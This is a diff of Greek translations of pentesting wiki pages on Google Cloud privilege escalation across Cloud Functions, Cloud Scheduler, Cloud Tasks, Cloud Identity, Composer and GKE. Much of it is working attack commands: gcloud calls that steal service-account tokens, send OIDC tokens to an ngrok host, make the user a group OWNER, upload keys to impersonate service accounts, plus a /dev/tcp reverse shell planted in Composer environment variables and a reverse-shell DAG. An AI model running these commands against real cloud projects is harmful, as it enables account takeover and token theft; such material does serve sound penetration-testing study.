@@ -57,12 +71,18 @@ curl -X POST \
-d '{}' \
"https://cloudbuild.googleapis.com/v2/projects//locations//connections//repositories/:accessReadWriteToken"
```
+
+
### `cloudbuild.connections.fetchLinkableRepositories`
-Με αυτή την άδεια μπορείτε να **πάρετε τα αποθετήρια στα οποία έχει πρόσβαση η σύνδεση:**
+Με αυτή την άδεια μπορείτε να **λάβετε τα αποθετήρια στα οποία έχει πρόσβαση η σύνδεση:**
+
+Ανάκτηση συνδεόμενων αποθετηρίων
```bash
curl -X GET \
-H "Authorization: Bearer $(gcloud auth print-access-token)" \
"https://cloudbuild.googleapis.com/v2/projects//locations//connections/:fetchLinkableRepositories"
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
index 958410ac2..2006bc8c4 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudfunctions-privesc.md
@@ -4,7 +4,7 @@
## cloudfunctions
-Περισσότερες πληροφορίες σχετικά με το Cloud Functions:
+Περισσότερες πληροφορίες για τις Cloud Functions:
{{#ref}}
../gcp-services/gcp-cloud-functions-enum.md
@@ -12,19 +12,21 @@
### `cloudfunctions.functions.create` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
-Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **δημιουργήσει μια νέα Cloud Function με αυθαίρετο (κακόβουλο) κώδικα και να της αναθέσει έναν Service Account**. Στη συνέχεια, να διαρρεύσει το token του Service Account από τα μεταδεδομένα για να κλιμακώσει τα δικαιώματα σε αυτόν.\
-Ορισμένα δικαιώματα για να ενεργοποιηθεί η λειτουργία μπορεί να απαιτούνται.
+Ένας επιτιθέμενος με αυτά τα προνόμια μπορεί να **δημιουργήσει ένα νέο Cloud Function με αυθαίρετο (malicious) code και να του αναθέσει ένα Service Account**. Στη συνέχεια, leak το Service Account token από τα metadata για να αποκτήσει τα προνόμια του.\
+Μπορεί να απαιτούνται κάποια προνόμια για να ενεργοποιηθεί η function.
-Τα σενάρια εκμετάλλευσης για αυτή τη μέθοδο μπορούν να βρεθούν [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) και [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) και το προεγκατεστημένο αρχείο .zip μπορεί να βρεθεί [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
+Exploit scripts για αυτή τη μέθοδο μπορούν να βρεθούν [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-call.py) και [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.create-setIamPolicy.py) και το prebuilt .zip αρχείο βρίσκεται [here](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/tree/master/ExploitScripts/CloudFunctions).
### `cloudfunctions.functions.update` , `cloudfunctions.functions.sourceCodeSet`_,_ `iam.serviceAccounts.actAs`
-Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **τροποποιήσει τον κώδικα μιας Function και ακόμη και να τροποποιήσει τον service account που είναι συνδεδεμένος** με στόχο την εξαγωγή του token.
+Ένας επιτιθέμενος με αυτά τα προνόμια μπορεί να **τροποποιήσει τον κώδικα μιας Function και ακόμη να αλλάξει το συνημμένο Service Account** με στόχο να exfiltrate το token.
> [!CAUTION]
-> Για να αναπτύξετε cloud functions θα χρειαστείτε επίσης δικαιώματα actAs πάνω από τον προεπιλεγμένο service account υπολογιστή ή πάνω από τον service account που χρησιμοποιείται για την κατασκευή της εικόνας.
+> Για να αναπτύξετε cloud functions θα χρειαστείτε επίσης δικαιώματα actAs πάνω στο default compute service account ή πάνω στο service account που χρησιμοποιείται για το build της εικόνας.
-Ορισμένα επιπλέον δικαιώματα όπως η άδεια `.call` για την έκδοση 1 cloudfunctions ή ο ρόλος `role/run.invoker` για να ενεργοποιήσετε τη λειτουργία μπορεί να απαιτούνται.
+Μπορεί να χρειαστούν επιπλέον προνόμια όπως η άδεια `.call` για version 1 cloudfunctions ή ο ρόλος `role/run.invoker` για να ενεργοποιηθεί η function.
+
+Ενημέρωση του Cloud Function με malicious code για να exfiltrate το service account token
```bash
# Create new code
temp_dir=$(mktemp -d)
@@ -54,14 +56,18 @@ gcloud functions deploy \
# Get SA token calling the new function code
gcloud functions call
```
-> [!CAUTION]
-> Αν λάβετε το σφάλμα `Permission 'run.services.setIamPolicy' denied on resource...` είναι επειδή χρησιμοποιείτε την παράμετρο `--allow-unauthenticated` και δεν έχετε αρκετές άδειες γι' αυτό.
+
-Το exploit script για αυτή τη μέθοδο μπορεί να βρεθεί [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
+> [!CAUTION]
+> Αν λάβετε το σφάλμα `Permission 'run.services.setIamPolicy' denied on resource...` είναι επειδή χρησιμοποιείτε την παράμετρο `--allow-unauthenticated` και δεν έχετε επαρκή δικαιώματα για αυτήν.
+
+Το exploit script για αυτή τη μέθοδο βρίσκεται [εδώ](https://github.com/RhinoSecurityLabs/GCP-IAM-Privilege-Escalation/blob/master/ExploitScripts/cloudfunctions.functions.update.py).
### `cloudfunctions.functions.sourceCodeSet`
-Με αυτή την άδεια μπορείτε να αποκτήσετε μια **υπογεγραμμένη διεύθυνση URL για να μπορέσετε να ανεβάσετε ένα αρχείο σε ένα bucket λειτουργίας (αλλά ο κώδικας της λειτουργίας δεν θα αλλάξει, θα χρειαστεί να τον ενημερώσετε)**
+Με αυτή την άδεια μπορείτε να αποκτήσετε ένα **signed URL για να ανεβάσετε ένα αρχείο σε ένα function bucket (αλλά ο κώδικας της function δεν θα αλλάξει, πρέπει ακόμα να το ενημερώσετε)**
+
+Δημιουργία signed upload URL για Cloud Function
```bash
# Generate the URL
curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/locations/{location}/functions:generateUploadUrl \
@@ -69,36 +75,38 @@ curl -X POST https://cloudfunctions.googleapis.com/v2/projects/{project-id}/loca
-H "Content-Type: application/json" \
-d '{}'
```
-Δεν είμαι σίγουρος πόσο χρήσιμη είναι μόνο αυτή η άδεια από την προοπτική ενός επιτιθέμενου, αλλά καλό είναι να το γνωρίζουμε.
+
+
+Δεν είμαι σίγουρος πόσο χρήσιμο είναι αυτό το δικαίωμα από την οπτική ενός επιτιθέμενου, αλλά καλό να το ξέρεις.
### `cloudfunctions.functions.setIamPolicy` , `iam.serviceAccounts.actAs`
-Δώστε στον εαυτό σας οποιαδήποτε από τις προηγούμενες **`.update`** ή **`.create`** άδειες για να κλιμακώσετε.
+Give yourself any of the previous **`.update`** or **`.create`** privileges to escalate.
### `cloudfunctions.functions.update`
-Έχοντας μόνο **`cloudfunctions`** άδειες, χωρίς **`iam.serviceAccounts.actAs`** δεν **θα μπορείτε να ενημερώσετε τη λειτουργία, ΟΠΟΤΕ ΑΥΤΟ ΔΕΝ ΕΙΝΑΙ ΜΙΑ ΕΓΚΥΡΗ ΚΛΙΜΑΚΩΣΗ.**
+Only having **`cloudfunctions`** permissions, without **`iam.serviceAccounts.actAs`** you **won't be able to update the function SO THIS IS NOT A VALID PRIVESC.**
-### Πρόσβαση Ανάγνωσης & Εγγραφής στον κάδο
+### Read & Write Access over the bucket
-Αν έχετε πρόσβαση ανάγνωσης και εγγραφής στον κάδο, μπορείτε να παρακολουθείτε τις αλλαγές στον κώδικα και όποτε συμβαίνει μια **ενημέρωση στον κάδο, μπορείτε να ενημερώσετε τον νέο κώδικα με τον δικό σας κώδικα** που θα εκτελείται με τον υποβληθέντα κώδικα με backdoor.
+Εάν έχεις πρόσβαση ανάγνωσης και εγγραφής στο bucket μπορείς να παρακολουθείς αλλαγές στον κώδικα και κάθε φορά που γίνεται **ενημέρωση στο bucket μπορείς να αντικαταστήσεις τον νέο κώδικα με δικό σου** ώστε η νέα έκδοση της Cloud Function να τρέξει με τον υποβληθέντα backdoored κώδικα.
-Μπορείτε να ελέγξετε περισσότερα σχετικά με την επίθεση στο:
+You can check more about the attack in:
{{#ref}}
gcp-storage-privesc.md
{{#endref}}
-Ωστόσο, δεν μπορείτε να το χρησιμοποιήσετε για να προ-συμβιβάσετε τρίτες Cloud Functions, επειδή αν δημιουργήσετε τον κάδο στον λογαριασμό σας και του δώσετε δημόσιες άδειες ώστε το εξωτερικό έργο να μπορεί να γράψει πάνω του, θα λάβετε το εξής σφάλμα:
+Ωστόσο, δεν μπορείς να χρησιμοποιήσεις αυτό για να προ-συμβιβάσεις τρίτες Cloud Functions, γιατί αν δημιουργήσεις το bucket στο λογαριασμό σου και του δώσεις δημόσια δικαιώματα ώστε το εξωτερικό project να γράψει πάνω σε αυτό, παίρνεις το ακόλουθο σφάλμα:
> [!CAUTION]
-> Ωστόσο, αυτό θα μπορούσε να χρησιμοποιηθεί για επιθέσεις DoS.
+> Ωστόσο, αυτό θα μπορούσε να χρησιμοποιηθεί για DoS attacks.
-### Πρόσβαση Ανάγνωσης & Εγγραφής στο Artifact Registry
+### Read & Write Access over Artifact Registry
-Όταν δημιουργείται μια Cloud Function, μια νέα εικόνα docker αποστέλλεται στο Artifact Registry του έργου. Προσπάθησα να τροποποιήσω την εικόνα με μια νέα και ακόμη και να διαγράψω την τρέχουσα εικόνα (και την εικόνα `cache`) και τίποτα δεν άλλαξε, η cloud function συνεχίζει να λειτουργεί. Επομένως, ίσως **να είναι δυνατό να καταχραστεί μια επίθεση Race Condition** όπως με τον κάδο για να αλλάξει το docker container που θα εκτελείται, αλλά **απλά τροποποιώντας την αποθηκευμένη εικόνα δεν είναι δυνατό να συμβιβαστεί η Cloud Function**.
+When a Cloud Function is created a new docker image is pushed to the Artifact Registry of the project. Δοκίμασα να τροποποιήσω την image με μια καινούργια, και ακόμη να διαγράψω την τρέχουσα image (και την `cache` image) και τίποτα δεν άλλαξε — η cloud function συνέχισε να λειτουργεί. Επομένως, ίσως **might be possible to abuse a Race Condition attack** όπως με το bucket για να αλλάξεις το docker container που θα τρέξει, αλλά **μόνο η τροποποίηση της αποθηκευμένης image δεν αρκεί για να συμβιβάσει την Cloud Function**.
## Αναφορές
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
index f4815065c..f226cba14 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudidentity-privesc.md
@@ -4,7 +4,7 @@
## Cloudidentity
-Για περισσότερες πληροφορίες σχετικά με την υπηρεσία cloudidentity, ελέγξτε αυτή τη σελίδα:
+Για περισσότερες πληροφορίες σχετικά με την υπηρεσία cloudidentity, δείτε αυτή τη σελίδα:
{{#ref}}
../gcp-services/gcp-iam-and-org-policies-enum.md
@@ -12,14 +12,20 @@
### Προσθέστε τον εαυτό σας σε μια ομάδα
-Εάν ο χρήστης σας έχει αρκετές άδειες ή η ομάδα είναι κακώς ρυθμισμένη, μπορεί να είναι σε θέση να γίνει μέλος μιας νέας ομάδας:
+Εάν ο χρήστης σας έχει επαρκή δικαιώματα ή η ομάδα είναι εσφαλμένα διαμορφωμένη, μπορεί να προσθέσει τον εαυτό του ως μέλος μιας νέας ομάδας:
+
+Προσθέστε τον εαυτό σας σε μια ομάδα Cloud Identity
```bash
gcloud identity groups memberships add --group-email --member-email [--roles OWNER]
# If --roles isn't specified you will get MEMBER
```
-### Τροποποίηση μέλους ομάδας
+
-Εάν ο χρήστης σας έχει αρκετές άδειες ή η ομάδα είναι κακώς ρυθμισμένη, μπορεί να είναι σε θέση να γίνει ΙΔΙΟΚΤΗΤΗΣ μιας ομάδας της οποίας είναι μέλος:
+### Τροποποίηση συμμετοχής σε ομάδα
+
+Αν ο χρήστης σας διαθέτει αρκετά δικαιώματα ή η ομάδα είναι εσφαλμένα διαμορφωμένη, μπορεί να καταφέρει να ορίσει τον εαυτό του ως OWNER σε ομάδα της οποίας είναι μέλος:
+
+Τροποποίηση συμμετοχής σε ομάδα για να γίνει OWNER
```bash
# Check the current membership level
gcloud identity groups memberships describe --member-email --group-email
@@ -27,4 +33,6 @@ gcloud identity groups memberships describe --member-email --group-email
# If not OWNER try
gcloud identity groups memberships modify-membership-roles --group-email --member-email --add-roles=OWNER
```
+
+
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
index 622d96cd8..aecd9bd0c 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudscheduler-privesc.md
@@ -10,35 +10,49 @@
../gcp-services/gcp-cloud-scheduler-enum.md
{{#endref}}
-### `cloudscheduler.jobs.create`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
+### `cloudscheduler.jobs.create` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
-Ένας επιτιθέμενος με αυτές τις άδειες θα μπορούσε να εκμεταλλευτεί το **Cloud Scheduler** για να **αυθεντικοποιήσει cron jobs ως συγκεκριμένος Λογαριασμός Υπηρεσίας**. Δημιουργώντας ένα HTTP POST αίτημα, ο επιτιθέμενος προγραμματίζει ενέργειες, όπως η δημιουργία ενός Storage bucket, να εκτελούνται υπό την ταυτότητα του Λογαριασμού Υπηρεσίας. Αυτή η μέθοδος εκμεταλλεύεται την **ικανότητα του Scheduler να στοχεύει σε endpoints `*.googleapis.com` και να αυθεντικοποιεί αιτήματα**, επιτρέποντας στον επιτιθέμενο να χειρίζεται άμεσα τα Google API endpoints χρησιμοποιώντας μια απλή εντολή `gcloud`.
+Ένας επιτιθέμενος με αυτά τα permissions μπορεί να εκμεταλλευτεί το **Cloud Scheduler** για να **authenticate cron jobs ως συγκεκριμένο Service Account**. Με τη σύνταξη ενός HTTP POST request, ο επιτιθέμενος προγραμματίζει ενέργειες, όπως τη δημιουργία ενός Storage bucket, ώστε να εκτελούνται υπό την ταυτότητα του Service Account. Αυτή η μέθοδος αξιοποιεί την **ικανότητα του Scheduler να στοχεύει `*.googleapis.com` endpoints και να αυθεντικοποιεί αιτήματα**, επιτρέποντας στον επιτιθέμενο να χειριστεί απευθείας Google API endpoints χρησιμοποιώντας μια απλή εντολή `gcloud`.
-- **Επικοινωνήστε με οποιοδήποτε google API μέσω `googleapis.com` με OAuth token header**
+- **Επικοινωνία με οποιοδήποτε google API μέσω `googleapis.com` με OAuth token header**
-Δημιουργήστε ένα νέο Storage bucket:
+Δημιουργία νέου Storage bucket:
+
+Δημιουργία job στο Cloud Scheduler για να δημιουργήσει GCS bucket μέσω API
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://storage.googleapis.com/storage/v1/b?project=' --message-body "{'name':'new-bucket-name'}" --oauth-service-account-email 111111111111-compute@developer.gserviceaccount.com --headers "Content-Type=application/json" --location us-central1
```
-Για να κλιμακώσει τα προνόμια, ένας **επιτιθέμενος απλώς δημιουργεί ένα HTTP αίτημα που στοχεύει την επιθυμητή API, προσποιούμενος τον καθορισμένο Λογαριασμό Υπηρεσίας**
+
-- **Εξαγωγή του OIDC token του λογαριασμού υπηρεσίας**
+Για να αποκτήσει αυξημένα προνόμια, ένας **attacker απλώς συντάσσει ένα HTTP request στοχεύοντας το επιθυμητό API, προσποιούμενος το καθορισμένο Service Account**
+
+- **Εξαγωγή του OIDC service account token**
+
+Δημιουργία job στο Cloud Scheduler για την εξαγωγή του OIDC token
```bash
gcloud scheduler jobs create http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
-Αν χρειαστεί να ελέγξετε την απόκριση HTTP, μπορείτε απλώς να **ρίξετε μια ματιά στα αρχεία καταγραφής της εκτέλεσης**.
+
-### `cloudscheduler.jobs.update`, `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
+Εάν χρειάζεται να ελέγξετε την HTTP απάντηση μπορείτε απλά **να ρίξετε μια ματιά στα logs της εκτέλεσης**.
-Όπως και στο προηγούμενο σενάριο, είναι δυνατό να **ενημερώσετε έναν ήδη δημιουργημένο προγραμματιστή** για να κλέψετε το token ή να εκτελέσετε ενέργειες. Για παράδειγμα:
+### `cloudscheduler.jobs.update` , `iam.serviceAccounts.actAs`, (`cloudscheduler.locations.list`)
+
+Όπως στο προηγούμενο σενάριο είναι δυνατό να **ενημερώσετε έναν ήδη δημιουργημένο scheduler** για να κλέψετε το token ή να εκτελέσετε ενέργειες. Για παράδειγμα:
+
+Ενημέρωση υπάρχοντος Cloud Scheduler job για exfiltrate το OIDC token
```bash
gcloud scheduler jobs update http test --schedule='* * * * *' --uri='https://87fd-2a02-9130-8532-2765-ec9f-cba-959e-d08a.ngrok-free.app' --oidc-service-account-email 111111111111-compute@developer.gserviceaccount.com [--oidc-token-audience '...']
# Listen in the ngrok address to get the OIDC token in clear text.
```
-Ένα άλλο παράδειγμα για να ανεβάσετε ένα ιδιωτικό κλειδί σε ένα SA και να το μιμηθείτε:
+
+
+Ένα ακόμη παράδειγμα για το πώς να ανεβάσετε ένα private key σε έναν SA και να το impersonate:
+
+Ανέβασμα private key σε Service Account μέσω Cloud Scheduler και impersonate
```bash
# Generate local private key
openssl req -x509 -nodes -newkey rsa:2048 -days 365 \
@@ -102,6 +116,8 @@ EOF
# Activate the generated key
gcloud auth activate-service-account --key-file=/tmp/lab.json
```
+
+
## Αναφορές
- [https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/](https://rhinosecuritylabs.com/gcp/privilege-escalation-google-cloud-platform-part-1/)
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md
index a3e907f42..19e86e541 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-cloudtasks-privesc.md
@@ -6,7 +6,9 @@
### `cloudtasks.tasks.create`, `iam.serviceAccounts.actAs`
-Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να **παριστάνει άλλους λογαριασμούς υπηρεσιών** δημιουργώντας εργασίες που εκτελούνται με την ταυτότητα του συγκεκριμένου λογαριασμού υπηρεσίας. Αυτό επιτρέπει την αποστολή **επαληθευμένων HTTP αιτημάτων σε υπηρεσίες Cloud Run ή Cloud Functions που προστατεύονται από IAM**.
+Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **υποδυθεί άλλους service accounts** δημιουργώντας tasks που εκτελούνται με την ταυτότητα του συγκεκριμένου service account. Αυτό επιτρέπει την αποστολή **πιστοποιημένων HTTP requests προς υπηρεσίες Cloud Run ή Cloud Functions που προστατεύονται από IAM**.
+
+Create Cloud Task with service account impersonation
```bash
gcloud tasks create-http-task \
task-$(date '+%Y%m%d%H%M%S') \
@@ -18,17 +20,25 @@ task-$(date '+%Y%m%d%H%M%S') \
--body-content '{"hello":"world"}' \
--oidc-service-account-email @.iam.gserviceaccount.com
```
+
+
### `cloudtasks.tasks.run`, `cloudtasks.tasks.list`
-Ένας επιτιθέμενος με αυτές τις άδειες μπορεί να **εκτελεί υπάρχουσες προγραμματισμένες εργασίες** χωρίς να έχει άδειες στον λογαριασμό υπηρεσίας που σχετίζεται με την εργασία. Αυτό επιτρέπει την εκτέλεση εργασιών που δημιουργήθηκαν προηγουμένως με λογαριασμούς υπηρεσίας υψηλότερης εξουσίας.
+Ένας επιτιθέμενος με αυτά τα δικαιώματα μπορεί να **εκτελέσει υπάρχουσες προγραμματισμένες εργασίες** χωρίς να έχει δικαιώματα στον λογαριασμό υπηρεσίας που σχετίζεται με την εργασία. Αυτό επιτρέπει την εκτέλεση εργασιών που είχαν δημιουργηθεί προηγουμένως με λογαριασμούς υπηρεσίας υψηλότερων προνομίων.
+
+Εκτέλεση υπάρχουσας Cloud Task χωρίς δικαίωμα actAs
```bash
gcloud tasks run projects//locations/us-central1/queues//tasks/
```
-Ο κύριος που εκτελεί αυτή την εντολή **δεν χρειάζεται άδεια `iam.serviceAccounts.actAs`** στον λογαριασμό υπηρεσίας της εργασίας. Ωστόσο, αυτό επιτρέπει μόνο την εκτέλεση υπαρχουσών εργασιών - δεν παρέχει τη δυνατότητα δημιουργίας ή τροποποίησης εργασιών.
+
+
+Ο principal που εκτελεί αυτήν την εντολή **δεν χρειάζεται την άδεια `iam.serviceAccounts.actAs`** στον service account του task. Ωστόσο, αυτό επιτρέπει μόνο την εκτέλεση υπαρχόντων tasks — δεν παρέχει τη δυνατότητα δημιουργίας ή τροποποίησης των tasks.
### `cloudtasks.queues.setIamPolicy`
-Ένας επιτιθέμενος με αυτή την άδεια μπορεί **να παραχωρήσει στον εαυτό του ή σε άλλους κύριους ρόλους Cloud Tasks** σε συγκεκριμένες ουρές, ενδεχομένως κλιμακώνοντας σε `roles/cloudtasks.admin` που περιλαμβάνει τη δυνατότητα δημιουργίας και εκτέλεσης εργασιών.
+Ένας attacker με αυτήν την άδεια μπορεί να **χορηγήσει στον εαυτό του ή σε άλλους principals ρόλους του Cloud Tasks** σε συγκεκριμένες ουρές, ενδεχομένως κλιμακώνοντας σε `roles/cloudtasks.admin` που περιλαμβάνει τη δυνατότητα δημιουργίας και εκτέλεσης tasks.
+
+Χορήγηση ρόλου admin του Cloud Tasks σε ουρά
```bash
gcloud tasks queues add-iam-policy-binding \
\
@@ -36,7 +46,9 @@ gcloud tasks queues add-iam-policy-binding \
--member serviceAccount:@.iam.gserviceaccount.com \
--role roles/cloudtasks.admin
```
-Αυτό επιτρέπει στον επιτιθέμενο να παραχωρήσει πλήρη δικαιώματα διαχειριστή Cloud Tasks στην ουρά σε οποιονδήποτε λογαριασμό υπηρεσίας ελέγχουν.
+
+
+Αυτό επιτρέπει στον επιτιθέμενο να παραχωρήσει πλήρη δικαιώματα διαχειριστή του Cloud Tasks για την ουρά σε οποιοδήποτε service account που ελέγχει.
## Αναφορές
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
index b7f138c2f..6872c5130 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-composer-privesc.md
@@ -12,18 +12,24 @@
### `composer.environments.create`
-Είναι δυνατόν να **συνδέσετε οποιονδήποτε λογαριασμό υπηρεσίας** στο νέο περιβάλλον composer με αυτή την άδεια. Αργότερα, μπορείτε να εκτελέσετε κώδικα μέσα στο composer για να κλέψετε το token του λογαριασμού υπηρεσίας.
+Είναι δυνατό να **επισυνάψετε οποιοδήποτε service account** στο νεοδημιουργημένο περιβάλλον composer με αυτή την άδεια. Αργότερα μπορείτε να εκτελέσετε κώδικα μέσα στο composer για να κλέψετε το service account token.
+
+Δημιουργία Composer περιβάλλοντος με συνημμένο service account
```bash
gcloud composer environments create privesc-test \
--project "${PROJECT_ID}" \
--location europe-west1 \
--service-account="${ATTACK_SA}@${PROJECT_ID}.iam.gserviceaccount.com"
```
-Περισσότερες πληροφορίες σχετικά με την εκμετάλλευση [**εδώ**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
+
+
+Περισσότερες πληροφορίες σχετικά με το exploitation [**here**](https://github.com/carlospolop/gcp_privesc_scripts/blob/main/tests/i-composer.environmets.create.sh).
### `composer.environments.update`
-Είναι δυνατή η ενημέρωση του περιβάλλοντος του composer, για παράδειγμα, τροποποιώντας τις μεταβλητές περιβάλλοντος:
+Είναι δυνατό να ενημερώσετε το composer environment, για παράδειγμα τροποποιώντας env variables:
+
+Ενημέρωση Composer environment variables για code execution
```bash
# Even if it says you don't have enough permissions the update happens
gcloud composer environments update \
@@ -46,24 +52,36 @@ X-Allowed-Locations: 0x0
{"config": {"softwareConfig": {"envVariables": {"BROWSER": "/bin/bash -c 'bash -i >& /dev/tcp/2.tcp.eu.ngrok.io/1890 0>&1' & #%s", "PYTHONWARNINGS": "all:0:antigravity.x:0:0"}}}}
```
-TODO: Get RCE by adding new pypi packages to the environment
+
-### Κατέβασμα Dags
+TODO: Απόκτηση RCE προσθέτοντας νέα pypi πακέτα στο περιβάλλον
-Έλεγχος του πηγαίου κώδικα των dags που εκτελούνται:
+### Λήψη DAGs
+
+Ελέγξτε τον πηγαίο κώδικα των DAGs που εκτελούνται:
+
+Εξαγωγή και λήψη των DAGs από το περιβάλλον Composer
```bash
mkdir /tmp/dags
gcloud composer environments storage dags export --environment --location --destination /tmp/dags
```
-### Εισαγωγή Dags
+
-Προσθέστε τον κώδικα python DAG σε ένα αρχείο και εισάγετέ το εκτελώντας:
+### Εισαγωγή DAGs
+
+Πρόσθεσε τον python DAG κώδικα σε ένα αρχείο και κάνε import τρέχοντάς το:
+
+Εισαγωγή κακόβουλου DAG στο Composer environment
```bash
# TODO: Create dag to get a rev shell
gcloud composer environments storage dags import --environment test --location us-central1 --source /tmp/dags/reverse_shell.py
```
-DAG αντίστροφης θήκης:
-```python:reverse_shell.py
+
+
+DAG για reverse shell:
+
+Python DAG κώδικας για reverse shell
+```python
import airflow
from airflow import DAG
from airflow.operators.bash_operator import BashOperator
@@ -94,11 +112,13 @@ depends_on_past=False,
priority_weight=2**31 - 1,
do_xcom_push=False)
```
-### Γράψτε Πρόσβαση στον κάδο Composer
+
-Όλα τα στοιχεία ενός περιβάλλοντος composer (DAGs, plugins και δεδομένα) αποθηκεύονται μέσα σε έναν κάδο GCP. Εάν ο επιτιθέμενος έχει δικαιώματα ανάγνωσης και εγγραφής σε αυτόν, θα μπορούσε να παρακολουθεί τον κάδο και **όποτε δημιουργείται ή ενημερώνεται ένα DAG, να υποβάλει μια παραποιημένη έκδοση** ώστε το περιβάλλον composer να αποκτά από την αποθήκευση την παραποιημένη έκδοση.
+### Πρόσβαση εγγραφής στο Composer bucket
-Αποκτήστε περισσότερες πληροφορίες σχετικά με αυτήν την επίθεση στο:
+Όλα τα components ενός Composer environment (DAGs, plugins και data) αποθηκεύονται μέσα σε έναν GCP bucket. Αν ο attacker έχει read και write permissions πάνω του, μπορεί να παρακολουθεί το bucket και **whenever a DAG is created or updated, submit a backdoored version** ώστε το Composer environment να πάρει από το storage την backdoored version.
+
+Get more info about this attack in:
{{#ref}}
gcp-storage-privesc.md
@@ -106,10 +126,10 @@ gcp-storage-privesc.md
### Εισαγωγή Plugins
-TODO: Ελέγξτε τι είναι δυνατόν να παραβιαστεί ανεβάζοντας plugins
+TODO: Check what is possible to compromise by uploading plugins
-### Εισαγωγή Δεδομένων
+### Εισαγωγή Data
-TODO: Ελέγξτε τι είναι δυνατόν να παραβιαστεί ανεβάζοντας δεδομένα
+TODO: Check what is possible to compromise by uploading data
{{#include ../../../banners/hacktricks-training.md}}
diff --git a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
index 20288fd50..3a4d24cc4 100644
--- a/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
+++ b/src/pentesting-cloud/gcp-security/gcp-privilege-escalation/gcp-container-privesc.md
@@ -6,16 +6,22 @@
### `container.clusters.get`
-Αυτή η άδεια επιτρέπει να **συγκεντρωθούν τα διαπιστευτήρια για το Kubernetes cluster** χρησιμοποιώντας κάτι σαν:
+Αυτή η άδεια επιτρέπει να **συλλέξετε credentials για το Kubernetes cluster** χρησιμοποιώντας κάτι όπως:
+
+Λήψη Kubernetes cluster credentials
```bash
gcloud container clusters get-credentials --zone
```
-Χωρίς επιπλέον δικαιώματα, τα διαπιστευτήρια είναι αρκετά βασικά καθώς μπορείτε **απλώς να καταγράψετε κάποιους πόρους**, αλλά είναι χρήσιμα για να βρείτε κακές ρυθμίσεις στο περιβάλλον.
+
+
+Χωρίς επιπλέον δικαιώματα, τα διαπιστευτήρια είναι αρκετά βασικά καθώς μπορείτε **απλώς να απαριθμήσετε κάποιον πόρο**, αλλά είναι χρήσιμα για να βρείτε λάθος διαμορφώσεις στο περιβάλλον.
> [!NOTE]
-> Σημειώστε ότι **οι κλάδοι kubernetes μπορεί να είναι ρυθμισμένοι να είναι ιδιωτικοί**, κάτι που θα απαγορεύσει την πρόσβαση στον Kube-API server από το Διαδίκτυο.
+> Σημειώστε ότι **kubernetes clusters μπορεί να έχουν διαμορφωθεί ως ιδιωτικά**, κάτι που θα απαγορεύει την πρόσβαση στον Kube-API server από το Διαδίκτυο.
